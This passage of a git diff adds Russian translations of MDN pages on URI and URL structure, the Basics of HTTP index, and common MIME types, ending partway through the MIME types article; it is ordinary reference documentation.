+translation_of: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">"Объект" (или "цель") HTTP-запроса называется "ресурс", чья природа может быть разной: фото, документ, или что-либо ещё. Каждый ресурс идентифицируется с помощью унифицированного идентификатора ресурса ({{Glossary("URI")}}) используемого повсюду в HTTP для идентификации ресурсов.</p>
+
+<p>Обычно чтобы описать конкретный ресурс (его имя) и его местоположение в Вебе, используется всего один URL (Uniform Resource Locator - Унифицированный локатор ресурса, вид URI, его ещё называеют <em>веб-адресом</em>). Можно добавить, что иногда с помощью специального заголовка {{HTTPHeader("Alt-Svc")}} в ответе на запрос можно попросить клиента перезапросить ресурс с другой локации.</p>
+
+<h2 id="URLы_и_URNы">URLы и URNы</h2>
+
+<h3 id="URL">URL</h3>
+
+<p>Самый популярный тип URI - это Uniform Resource Locator ({{Glossary("URL")}}), который также называют <em>веб-адресом</em>.</p>
+
+<pre>https://developer.mozilla.org
+https://developer.mozilla.org/ru/docs/Learn
+https://developer.mozilla.org/ru/search?q=URL</pre>
+
+<p>Любой из этих URL-ов может быть набран в адресной строке браузера чтобы сказать ему загрузить соответствующую страницу (ресурс).</p>
+
+<p>URL состоит из разных частей, некоторые - обязательны, а другие нет. Более сложный пример:</p>
+
+<pre>http://www.example.com:80/path/to/myfile.html?key1=value1&amp;key2=value2#SomewhereInTheDocument</pre>
+
+<h3 id="URN">URN</h3>
+
+<p>Uniform Resource Name (URN) - это URI, который идентифицирует ресурс по имени в конкретном пространстве имён.</p>
+
+<pre>urn:isbn:9780141036144
+urn:ietf:rfc:7230
+</pre>
+
+<p>Эти два URN-а соответствуют:</p>
+
+<ul>
+ <li>книга "1984" Джорджа Оруэлла,</li>
+ <li>IETF спецификация 7230, Hypertext Transfer Protocol (HTTP/1.1): Синтаксис и маршрутизация сообщений.</li>
+</ul>
+
+<h2 id="Синтаксис_Унифицированных_Идентификаторов_Ресурсов_URI">Синтаксис Унифицированных Идентификаторов Ресурсов (URI)</h2>
+
+<h3 id="Схема_или_протокол">Схема или протокол</h3>
+
+<dl>
+ <dt><img alt="Protocol" src="https://mdn.mozillademos.org/files/8013/mdn-url-protocol@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>http://</code> это пример протокола (схемы). Тут описывается какой протокол браузер должен использовать. Обычно это HTTP протокол или его безопасная версия - HTTPS. Интернет требует один из этих двух, но браузеры также знают как работать с некоторыми другими, например <code>mailto:</code> (чтобы открыть почтовый клиент) или <code>ftp:</code> для работы с передачей файлов. Популярные схемы:</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Схема</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>data</td>
+   <td><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">Data URIs</a> </td>
+  </tr>
+  <tr>
+   <td>file</td>
+   <td>Доступ к файлам на локальном компьютере</td>
+  </tr>
+  <tr>
+   <td>ftp</td>
+   <td><a href="/en-US/docs/Glossary/FTP">File Transfer Protocol</a> (протокол передачи файлов)</td>
+  </tr>
+  <tr>
+   <td>http/https</td>
+   <td><a href="/en-US/docs/Glossary/HTTP">Hyper text transfer protocol (Secure)</a></td>
+  </tr>
+  <tr>
+   <td>mailto</td>
+   <td>Адрес электронной почты</td>
+  </tr>
+  <tr>
+   <td>ssh</td>
+   <td>Протокол Secure shell для работы с серверами</td>
+  </tr>
+  <tr>
+   <td>tel</td>
+   <td>Телефон</td>
+  </tr>
+  <tr>
+   <td>urn</td>
+   <td>Uniform Resource Names</td>
+  </tr>
+  <tr>
+   <td>view-source</td>
+   <td>Исходный код ресурса</td>
+  </tr>
+  <tr>
+   <td>ws/wss</td>
+   <td>(Зашифрованные) соединения <a href="/en-US/docs/Web/API/WebSockets_API">WebSocket</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Владелец_имя_хоста">Владелец (имя хоста)</h3>
+
+<dl>
+ <dt><img alt="Domaine Name" src="https://mdn.mozillademos.org/files/8015/mdn-url-domain@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>www.example.com</code> - это доменное имя, идентификатор ответственного за это пространство имён. Идентифицирует, какой именно Веб-сервер получает запрос. Альтернативно, можно просто использовать {{Glossary("IP address")}}, но поскольку это не так удобно, то этот способ используется не часто.</dd>
+</dl>
+
+<h3 id="Порт">Порт</h3>
+
+<dl>
+ <dt><img alt="Port" src="https://mdn.mozillademos.org/files/8017/mdn-url-port@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>:80</code> - это порт сервера. Он идентифицирует технические "ворота", которые нужны для доступа к ресурсу на сервере. Обычно порт не указывается, т.к. существуют общепринятые нормы о стандартных портах для HTTP (80 для HTTP и 443 для HTTPS). В других случаях обязательно нужно указывать.</dd>
+</dl>
+
+<h3 id="Путь">Путь</h3>
+
+<dl>
+ <dt><img alt="Path to the file" src="https://mdn.mozillademos.org/files/8019/mdn-url-path@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>/path/to/myfile.html</code> - это путь к ресурсу на Веб-сервере. Изначально путь типа этого указывал на физическое место файла на сервере, но сейчас всё чаще это псевдоним или описание некоторого абстрактного ресурса.</dd>
+</dl>
+
+<h3 id="Строка_запроса_query_string">Строка запроса (query string)</h3>
+
+<dl>
+ <dt><img alt="Parameters" src="https://mdn.mozillademos.org/files/8021/mdn-url-parameters@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>?key1=value1&amp;key2=value2</code> - это дополнительные параметры, предоставляемые Веб-серверу. Это список пар "ключ=значение", разделенных символом <code>&amp;</code> . Веб-сервер может использовать эти параметры как дополнительные инструкции, что именно сделать с ресурсом перед отправкой его пользователю. Каждый Веб-сервер имеет свои правила насчет параметров, и единственный надежный способ узнать как конкретный Веб-сервер обрабатывает эти параметры - это спросить того, кто контролирует Веб-сервер.</dd>
+</dl>
+
+<h3 id="Фрагмент">Фрагмент</h3>
+
+<dl>
+ <dt><img alt="Anchor" src="https://mdn.mozillademos.org/files/8023/mdn-url-anchor@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>#SomewhereInTheDocument</code> - это "якорь" на другую часть ресурса. Якорь представляет собой что-то вроде "закладки" внутри ресурса, давая браузеру  указание показать содержимое с определенного места. В HTML-документе, к примеру, браузер будет скроллить к точке где якорь определён, а на аудио/видео-документе бразуер попытается перейти на время, указанное в якоре. Важно что часть, начинающаяся с # - никогда не пересылается серверу в запросе.</dd>
+</dl>
+
+<h2 id="Заметки_по_использованию">Заметки по использованию</h2>
+
+<p>Когда используются URLы в {{Glossary("HTML")}} содержимом, вам стоит использовать только несколько из этих схем. Когда идёт обращение к субресурсам (файлам, которые являются частью большого документа) — вам стоит использовать лишь HTTP и HTTPS. Браузеры сейчас перестают использовать FTP для загрузки ресурсов, из соображений безопасности.</p>
+
+<p>FTP до сих пор доступен на верхнем уровне (т.е. когда ссылка указывается в адресной строке или в ссылке), но некоторые браузеры могут делегировать загрузку FTP ресурсов другим приложениям.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>https://developer.mozilla.org/en-US/docs/Learn
+tel:+1-816-555-1212
+git@github.com:mdn/browser-compat-data.git
+ftp://example.org/resource.txt
+urn:isbn:9780141036144
+mailto:help@supercyberhelpdesk.info
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7230", "Uniform Resource Identifiers", "2.7")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Синтаксис и маршрутизация сообщений</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Читайте_также">Читайте также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_is_a_URL">Что такое URL?</a></li>
+ <li><a href="http://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml">Список URI-схем IANA</a></li>
+</ul>
diff --git a/files/ru/web/http/basics_of_http/index.html b/files/ru/web/http/basics_of_http/index.html
new file mode 100644
index 0000000000..415e4b9a5d
--- /dev/null
+++ b/files/ru/web/http/basics_of_http/index.html
@@ -0,0 +1,52 @@
+---
+title: Basics of HTTP
+slug: Web/HTTP/Basics_of_HTTP
+tags:
+  - HTTP
+  - NeedsTranslation
+  - Overview
+  - TopicStub
+translation_of: Web/HTTP/Basics_of_HTTP
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP удобный расширяемый протокол. Он опирается на несколько базовых понятий, таких как: ресурсы и URI (унифицированный идентификатор ресурса), простая структура сообщений и технология "клиент-сервер" для общения. Помимо этих базовых концепций, за последние годы появилось множество расширений, добавляющих новые функциональные возможности и новую семантику путем создания новых HTTP-методов или заголовков.</p>
+
+<h2 id="Статьи">Статьи</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/HTTP/Overview">Обзор HTTP</a></dt>
+ <dd>Описывает, что такое HTTP и какова его роль в архитектуре всемирной паутины, позицию в стеке протоколов.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Эволюция HTTP</a></dt>
+ <dd>HTTP был создан в начале 1990-х годов и несколько раз был расширен. Эта статья даёт обзор его истории и описывает HTTP/0.9, HTTP/1.0, HTTP/1.1, и современный HTTP/2, а также незначительные нововведения представленные в последние несколько лет.</dd>
+ <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Negotiating_an_HTTP_version">Обсуждение версии HTTP</a></dt>
+ <dd>Описывает, как клиент и сервер могут договориться о конкретной версии HTTP и в конечном счете перейти на более новую версию протокола. </dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Resources_and_URIs">Resources and URIs</a></dt>
+ <dd>A brief introduction of the notion of resources, identifiers, and locations on the Web.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identifying resources on the Web</a></dt>
+ <dd>Describes how Web resources are referenced and how to locate them.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">Data URIs</a></dt>
+ <dd>A specific kind of URIs that directly embeds the resource it represents. Data URIs are very convenient, but have some caveats.</dd>
+ <dt>Separating identity and location of a resource: the Alt-Svc HTTP header</dt>
+ <dd>Most of the time identity and location of a Web resource are shared, this can be changed with the {{HTTPHeader("Alt-Svc")}} header.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME types</a></dt>
+ <dd>Since HTTP/1.0, different types of content can be transmitted. This article explains how this is done using the {{HTTPHeader("Content-Type")}} header and the MIME standard.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs">Choosing between www and non-www URLs</a></dt>
+ <dd>Advice on using a www-prefixed domain or not, this article explains the consequences of the choice as well as how to make it.</dd>
+ <dt>Flow of an HTTP session</dt>
+ <dd>This fundamental article describes a typical HTTP session: what happens under the hood when you click on a link in your browser…</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Messages">HTTP Messages</a></dt>
+ <dd>HTTP Messages transmitted during requests or responses have a very clear structure; this introductory article describes this structure, its purpose and its possibilities.</dd>
+ <dt>Frame and message structure in HTTP/2</dt>
+ <dd>HTTP/2 encapsulates and represents HTTP/1.x messages in a binary frame. This article explains the frame structure, its purpose and the way it is encoded.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Connection management in HTTP/1.x</a></dt>
+ <dd>HTTP/1.1 was the first version of HTTP to support persistent connection and pipelining. This article explains these two concepts.</dd>
+ <dt>Connection management in HTTP/2</dt>
+ <dd>HTTP/2 completely revisited how connections are created and maintained: this article explains how HTTP frames allow multiplexing and solve the 'head-of-line' blocking problem of former HTTP versions.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Content_negotiation">Content Negotiation</a></dt>
+ <dd>HTTP introduces a set of headers, starting with <code>Accept-</code> as a way for a browser to announce the format, language, or encoding it prefers. This article explains how this advertisement happens, how the server is expected to react and how it will choose the most adequate response.</dd>
+</dl>
+
+<div id="gtx-trans" style="position: absolute; left: 5px; top: 437px;">
+<div class="gtx-trans-icon"></div>
+</div>
diff --git a/files/ru/web/http/basics_of_http/mime_types/common_types/index.html b/files/ru/web/http/basics_of_http/mime_types/common_types/index.html
new file mode 100644
index 0000000000..1b9703c33d
--- /dev/null
+++ b/files/ru/web/http/basics_of_http/mime_types/common_types/index.html
@@ -0,0 +1,394 @@
+---
+title: Неполный список типов MIME
+slug: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
+tags:
+  - HTTP
+  - Справка
+  - Типы MIME
+translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>Здесь представлен исчерпывающий список типов MIME, соотнесенных с типами документов и отсортированных по расширению.</div>
+
+<div></div>
+
+<div>Два ключевых типа MIME, использующихся в качестве типов по умолчанию:</div>
+
+<div>
+<ul>
+ <li><code>text/plain</code> является типом по умолчанию для текстовых файлов. Текстовый файл должен быть читаемым человеком и не должен содержать в себе бинарную информацию.</li>
+ <li><code>application/octet-stream</code> является типом по умолчанию для всех остальных случаев. Нужно использовать этот тип, если тип файла неизвестен. Браузеры уделяют дополнительное внимание при работе с данным типом файлов для предотвращения вредоносного поведения.</li>
+</ul>
+</div>
+
+<p>IANA является официальным регистром типов MIME и поддерживает их <a href="http://www.iana.org/assignments/media-types/media-types.xhtml">официальный список</a>. В данной таблице представлен список типов, наиболее важных для Web:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Расширение</th>
+   <th scope="col">Тип документа</th>
+   <th scope="col">Тип MIME</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>.aac</code></td>
+   <td>AAC audio</td>
+   <td><code>audio/aac</code></td>
+  </tr>
+  <tr>
+   <td><code>.abw</code></td>
+   <td><a href="https://en.wikipedia.org/wiki/AbiWord">AbiWord</a> document</td>
+   <td><code>application/x-abiword</code></td>
+  </tr>
+  <tr>
+   <td><code>.arc</code></td>
+   <td>Archive document (multiple files embedded)</td>
+   <td><code>application/x-freearc</code></td>
+  </tr>
+  <tr>
+   <td><code>.avi</code></td>
+   <td>AVI: Audio Video Interleave</td>
+   <td><code>video/x-msvideo</code></td>
+  </tr>
+  <tr>
+   <td><code>.azw</code></td>
+   <td>Amazon Kindle eBook format</td>
+   <td><code>application/vnd.amazon.ebook</code></td>
+  </tr>
+  <tr>
+   <td><code>.bin</code></td>
+   <td>Any kind of binary data</td>
+   <td><code>application/octet-stream</code></td>
+  </tr>
+  <tr>
+   <td><code>.bmp</code></td>
+   <td>Windows OS/2 Bitmap Graphics</td>
+   <td><code>image/bmp</code></td>
+  </tr>
+  <tr>
+   <td><code>.bz</code></td>
+   <td>BZip archive</td>
+   <td><code>application/x-bzip</code></td>
+  </tr>
+  <tr>
+   <td><code>.bz2</code></td>
+   <td>BZip2 archive</td>
+   <td><code>application/x-bzip2</code></td>
+  </tr>
+  <tr>
+   <td><code>.csh</code></td>
+   <td>C-Shell script</td>
+   <td><code>application/x-csh</code></td>
+  </tr>
+  <tr>
+   <td><code>.css</code></td>
+   <td>Cascading Style Sheets (CSS)</td>
+   <td><code>text/css</code></td>
+  </tr>
+  <tr>
+   <td><code>.csv</code></td>
+   <td>Comma-separated values (CSV)</td>
+   <td><code>text/csv</code></td>
+  </tr>
+  <tr>
+   <td><code>.doc</code></td>
+   <td>Microsoft Word</td>
+   <td><code>application/msword</code></td>
+  </tr>
+  <tr>
+   <td><code>.docx</code></td>
+   <td>Microsoft Word (OpenXML)</td>
+   <td><code>application/vnd.openxmlformats-officedocument.wordprocessingml.document</code></td>
+  </tr>
+  <tr>
+   <td><code>.eot</code></td>
+   <td>MS Embedded OpenType fonts</td>
+   <td><code>application/vnd.ms-fontobject</code></td>
+  </tr>
+  <tr>
+   <td><code>.epub</code></td>
+   <td>Electronic publication (EPUB)</td>
+   <td><code>application/epub+zip</code></td>
+  </tr>
+  <tr>
+   <td><code>.gz</code></td>
+   <td>GZip Compressed Archive</td>
+   <td><code>application/gzip</code></td>
+  </tr>
+  <tr>
+   <td><code>.gif</code></td>
+   <td>Graphics Interchange Format (GIF)</td>
+   <td><code>image/gif</code></td>
+  </tr>
+  <tr>
+   <td><code>.htm<br>
+    .html</code></td>
+   <td>HyperText Markup Language (HTML)</td>
+   <td><code>text/html</code></td>
+  </tr>
+  <tr>
+   <td><code>.ico</code></td>
+   <td>Icon format</td>
+   <td><code>image/vnd.microsoft.icon</code></td>
+  </tr>
+  <tr>
+   <td><code>.ics</code></td>
+   <td>iCalendar format</td>
+   <td><code>text/calendar</code></td>
+  </tr>
+  <tr>
+   <td><code>.jar</code></td>
+   <td>Java Archive (JAR)</td>
+   <td><code>application/java-archive</code></td>
+  </tr>
+  <tr>
+   <td><code>.jpeg</code><br>
+    <code>.jpg</code></td>
+   <td>JPEG images</td>
+   <td><code>image/jpeg</code></td>
+  </tr>
+  <tr>
+   <td><code>.js</code></td>
+   <td>JavaScript</td>
+   <td><code>text/javascript</code></td>
+  </tr>
+  <tr>
+   <td><code>.json</code></td>
+   <td>JSON format</td>
+   <td><code>application/json</code></td>
+  </tr>
+  <tr>
+   <td><code>.jsonld</code></td>
+   <td>JSON-LD format</td>
+   <td><code>application/ld+json</code></td>
+  </tr>
+  <tr>
+   <td><code>.mid</code><br>
+    <code>.midi</code></td>
+   <td>Musical Instrument Digital Interface (MIDI)</td>
+   <td><code>audio/midi</code> <code>audio/x-midi</code></td>
+  </tr>
+  <tr>
+   <td><code>.mjs</code></td>
+   <td>JavaScript module</td>
+   <td><code>text/javascript</code></td>
+  </tr>
+  <tr>
+   <td><code>.mp3</code></td>
+   <td>MP3 audio</td>
+   <td><code>audio/mpeg</code></td>
+  </tr>
+  <tr>
+   <td><code>.mpeg</code></td>
+   <td>MPEG Video</td>
+   <td><code>video/mpeg</code></td>
+  </tr>
+  <tr>
+   <td><code>.mpkg</code></td>
+   <td>Apple Installer Package</td>
+   <td><code>application/vnd.apple.installer+xml</code></td>
+  </tr>
+  <tr>
+   <td><code>.odp</code></td>
+   <td>OpenDocument presentation document</td>
+   <td><code>application/vnd.oasis.opendocument.presentation</code></td>
+  </tr>
+  <tr>
+   <td><code>.ods</code></td>
+   <td>OpenDocument spreadsheet document</td>
+   <td><code>application/vnd.oasis.opendocument.spreadsheet</code></td>
+  </tr>
+  <tr>
+   <td><code>.odt</code></td>
+   <td>OpenDocument text document</td>
+   <td><code>application/vnd.oasis.opendocument.text</code></td>
+  </tr>
+  <tr>
+   <td><code>.oga</code></td>
+   <td>OGG audio</td>
+   <td><code>audio/ogg</code></td>
+  </tr>
+  <tr>
+   <td><code>.ogv</code></td>
+   <td>OGG video</td>
+   <td><code>video/ogg</code></td>
+  </tr>
+  <tr>
+   <td><code>.ogx</code></td>
+   <td>OGG</td>
+   <td><code>application/ogg</code></td>
+  </tr>
+  <tr>
+   <td><code>.opus</code></td>
+   <td>Opus audio</td>
+   <td><code>audio/opus</code></td>
+  </tr>
+  <tr>
+   <td><code>.otf</code></td>
+   <td>OpenType font</td>
+   <td><code>font/otf</code></td>
+  </tr>
+  <tr>
+   <td><code>.png</code></td>
+   <td>Portable Network Graphics</td>
+   <td><code>image/png</code></td>
+  </tr>
+  <tr>
+   <td><code>.pdf</code></td>
+   <td>Adobe <a href="https://acrobat.adobe.com/us/en/why-adobe/about-adobe-pdf.html">Portable Document Format</a> (PDF)</td>
+   <td><code>application/pdf</code></td>
+  </tr>
+  <tr>
+   <td><code>.php</code></td>
+   <td>Hypertext Preprocessor (<strong>Personal Home Page</strong>)</td>
+   <td><code>application/php</code></td>
+  </tr>
+  <tr>
+   <td><code>.ppt</code></td>
+   <td>Microsoft PowerPoint</td>
+   <td><code>application/vnd.ms-powerpoint</code></td>
+  </tr>
+  <tr>
+   <td><code>.pptx</code></td>
+   <td>Microsoft PowerPoint (OpenXML)</td>
+   <td><code>application/vnd.openxmlformats-officedocument.presentationml.presentation</code></td>
+  </tr>
+  <tr>
+   <td><code>.rar</code></td>
+   <td>RAR archive</td>
+   <td><code>application/vnd.rar</code></td>
+  </tr>
+  <tr>
+   <td><code>.rtf</code></td>
+   <td>Rich Text Format (RTF)</td>
+   <td><code>application/rtf</code></td>
+  </tr>
+  <tr>
+   <td><code>.sh</code></td>
+   <td>Bourne shell script</td>
+   <td><code>application/x-sh</code></td>
+  </tr>
+  <tr>
+   <td><code>.svg</code></td>
+   <td>Scalable Vector Graphics (SVG)</td>
+   <td><code>image/svg+xml</code></td>
+  </tr>
+  <tr>
+   <td><code>.swf</code></td>
+   <td><a href="https://en.wikipedia.org/wiki/SWF">Small web format</a> (SWF) or Adobe Flash document</td>
+   <td><code>application/x-shockwave-flash</code></td>
+  </tr>
+  <tr>
+   <td><code>.tar</code></td>
+   <td>Tape Archive (TAR)</td>
+   <td><code>application/x-tar</code></td>
+  </tr>
+  <tr>
+   <td><code>.tif<br>
+    .tiff</code></td>
+   <td>Tagged Image File Format (TIFF)</td>
+   <td><code>image/tiff</code></td>
+  </tr>
+  <tr>
+   <td><code>.ts</code></td>
+   <td>MPEG transport stream</td>
+   <td><code>video/mp2t</code></td>
+  </tr>
+  <tr>
+   <td><code>.ttf</code></td>
+   <td>TrueType Font</td>
+   <td><code>font/ttf</code></td>
+  </tr>
+  <tr>
+   <td><code>.txt</code></td>
+   <td>Text, (generally ASCII or ISO 8859-<em>n</em>)</td>
+   <td><code>text/plain</code></td>
+  </tr>
+  <tr>
+   <td><code>.vsd</code></td>
+   <td>Microsoft Visio</td>
+   <td><code>application/vnd.visio</code></td>
+  </tr>
+  <tr>
+   <td><code>.wav</code></td>
+   <td>Waveform Audio Format</td>
+   <td><code>audio/wav</code></td>
+  </tr>
+  <tr>
+   <td><code>.weba</code></td>
+   <td>WEBM audio</td>
+   <td><code>audio/webm</code></td>
+  </tr>
+  <tr>
+   <td><code>.webm</code></td>
+   <td>WEBM video</td>
+   <td><code>video/webm</code></td>
+  </tr>
+  <tr>
+   <td><code>.webp</code></td>
+   <td>WEBP image</td>
+   <td><code>image/webp</code></td>
+  </tr>
+  <tr>
+   <td><code>.woff</code></td>
+   <td>Web Open Font Format (WOFF)</td>
+   <td><code>font/woff</code></td>
+  </tr>
+  <tr>
+   <td><code>.woff2</code></td>
+   <td>Web Open Font Format (WOFF)</td>
+   <td><code>font/woff2</code></td>
+  </tr>
+  <tr>
+   <td><code>.xhtml</code></td>
+   <td>XHTML</td>
+   <td><code>application/xhtml+xml</code></td>
+  </tr>
+  <tr>
+   <td><code>.xls</code></td>
+   <td>Microsoft Excel</td>
+   <td><code>application/vnd.ms-excel</code></td>
+  </tr>
+  <tr>
+   <td><code>.xlsx</code></td>
+   <td>Microsoft Excel (OpenXML)</td>
+   <td><code>application/vnd.openxmlformats-officedocument.spreadsheetml.sheet</code></td>
+  </tr>
+  <tr>
+   <td><code>.xml</code></td>
+   <td><code>XML</code></td>
+   <td><code>application/xml </code>if <em>not</em> readable from casual users (<a href="https://tools.ietf.org/html/rfc3023#section-3">RFC 3023</a>, section 3)<br>
+    <code>text/xml</code> if readable from casual users (<a href="https://tools.ietf.org/html/rfc3023#section-3">RFC 3023</a>, section 3)</td>
+  </tr>
+  <tr>
+   <td><code>.xul</code></td>
+   <td>XUL</td>
+   <td><code>application/vnd.mozilla.xul+xml</code></td>
+  </tr>
+  <tr>
+   <td><code>.zip</code></td>
+   <td>ZIP archive</td>
+   <td><code>application/zip</code></td>
+  </tr>
+  <tr>
+   <td><code>.3gp</code></td>
+   <td><a href="https://en.wikipedia.org/wiki/3GP_and_3G2">3GPP</a> audio/video container</td>
+   <td><code>video/3gpp</code><br>
+    <code>audio/3gpp</code> if it doesn't contain video</td>
+  </tr>
+  <tr>
+   <td><code>.3g2</code></td>
+   <td><a href="https://en.wikipedia.org/wiki/3GP_and_3G2">3GPP2</a> audio/video container</td>
+   <td><code>video/3gpp2</code><br>
+    <code>audio/3gpp2</code> if it doesn't contain video</td>
+  </tr>
+  <tr>
+   <td><code>.7z</code></td>
+   <td><a href="https://en.wikipedia.org/wiki/7-Zip">7-zip</a> archive</td>
+   <td><code>application/x-7z-compressed</code></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/http/basics_of_http/mime_types/index.html b/files/ru/web/http/basics_of_http/mime_types/index.html
new file mode 100644
index 0000000000..e368e2a496
--- /dev/null
+++ b/files/ru/web/http/basics_of_http/mime_types/index.html
@@ -0,0 +1,318 @@
+---
+title: MIME types
+slug: Web/HTTP/Basics_of_HTTP/MIME_types
+tags:
+  - HTTP
+translation_of: Web/HTTP/Basics_of_HTTP/MIME_types
+---
+<p><strong>Медиа тип </strong>(так же известный как <strong>Multipurpose Internet Mail Extensions </strong>или <strong>MIME тип)</strong> является стандартом, который описывает природу и формат документа, файла или набора байтов. Он определён и стандартизирован в спецификации {{RFC(6838)}} .</p>
+
+<p>Организация <a href="https://www.iana.org/">Internet Assigned Numbers Authority (IANA)</a> является ответственной за все официально признанные MIME типы, и вы можете найти самый последний и полный лист MIME типов на их странице <a href="https://www.iana.org/assignments/media-types/media-types.xhtml">Медиа Типов</a>.</p>
+
+<div class="warning">
+<p><strong>Важно:</strong> Для принятия решения о том, как обрабатывать URL, браузеры используют MIME типы, <em>а не расширения файлов</em>, так что серверам необходимо отправлять правильные MIME типы в {{HTTPHeader("Content-Type")}} заголовке ответа. При неточном задавании этого заголовка, браузеры с большой вероятностью будут неправильно интерпретировать и обрабатывать содержание файлов, из-за чего сайт будет работать неверно.</p>
+</div>
+
+<h2 id="Структура_MIME_типа"><strong>Структура MIME типа</strong></h2>
+
+<p>Простейший MIME тип состоит из<em> типа</em> и<em> подтипа</em> — двух строк разделённых наклонной чертой (<code>/</code>), без использования пробелов.</p>
+
+<pre class="syntaxbox"><var>тип</var>/<var>подтип</var></pre>
+
+<p><em><strong>Тип</strong> </em>представляет общую категорию, в которой находится тип данных, например <code>video</code> или <code>text</code>.<em> <strong>Подтип</strong></em> же строго отождествляется с отдельным типом данных, представляемых данным MIME типом. Например, для MIME типа <code>text</code>, подтипы могут быть  <code>plain</code> (простой текст), <code>html</code> ({{Glossary("HTML")}} source code) или <code>calendar</code> (для iCalendar/<code>.</code><code>ics</code>).</p>
+
+<p>Необязательный <strong>параметр</strong> может быть добавлен для указания дополнительных деталей</p>
+
+<pre class="syntaxbox"><var>тип</var>/<var>подтип</var>;<var>параметр</var>=<var>значение</var></pre>
+
+<p>Например, для MIME типов катогории<var> </var><code>text</code>, необязательный параметр <code>charset</code> может быть задан для уточнения кодировки, используемой в документе. Для объявления, что пересылаемый файл имеет кодировку UTF-8, необходимо использовать MIME тип <code>text/plain;charset=UTF-8</code>. При не указании параметра <code>charset</code>, его значение автоматически будет задано, как {{Glossary("ASCII")}} (<code>US</code><code>-</code><code>ASCII</code>), если в настройках браузера не будет определено иначе.</p>
+
+<p>MIME типы являются нечувствительными к регистру, но традиционно их пишут строчными буквами, за исключением значений параметров.</p>
+
+<h3 id="Типы">Типы</h3>
+
+<p>Все типы можно разделить на два класса: <strong>дискретные</strong> и <strong>многокомпонентные. </strong>Дискретные типы представляют одиночные файлы, например, одиночный текстовый, музыкальный или видео файл. Многокомпонентные типы представляют документы, составленные из нескольких частей, каждая из которых может иметь свой отдельный MIME тип, или они могут заключать в себе несколько отдельных файлов, передаваемых в одном сообщении. Например, многокомпонентные MIME типы используются для передачи нескольких изображений в одном email.</p>
+
+<h4 id="Дискретные_типы"><strong>Дискретные типы</strong></h4>
+
+<p>В настоящее время на IANA зарегистрированы следующие дискретные типы:</p>
+
+<dl>
+ <dt><code>application</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#application" style="float: right;">Список IANA</a></dt>
+ <dd>Любой вид бинарных данных, явно не попадающих ни в одну другу группу типов. Данные, которые будут выполняться или как-либо интерпретироваться, или данные для выполнения, которых необходимо отдельное приложение. Для указания базового типа бинарных данных (данных без определённого типа) используют тип <code>application/octet-stream</code>. Другие распространённые примеры включают <code>application/pdf</code>, <code>application/pkcs8</code> и <code>application/zip</code>.</dd>
+ <dt><code>audio</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#audio" style="float: right;">Список IANA</a></dt>
+ <dd>Аудио или музыкальные данные. Примеры: <code>audio/mpeg</code>, <code>audio/vorbis</code>.</dd>
+ <dt><code>example</code></dt>
+ <dd>Тип, зарезервированный для написания примеров, отображающих использование MIME типов. Этот тип никогда не должен использоваться вне примеров кода или документации. <code>example</code> может так же использоваться, как подтип.</dd>
+ <dt><code>font</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#font" style="float: right;">Список IANA</a></dt>
+ <dd>Данные шрифтов. Распространённые примеры включают <code>font</code><code>/</code><code>woff</code>, <code>font</code><code>/</code><code>ttf</code> и <code>font</code><code>/</code><code>otf</code>.</dd>
+ <dt><code>image</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#image" style="float: right;">Список IANA</a></dt>
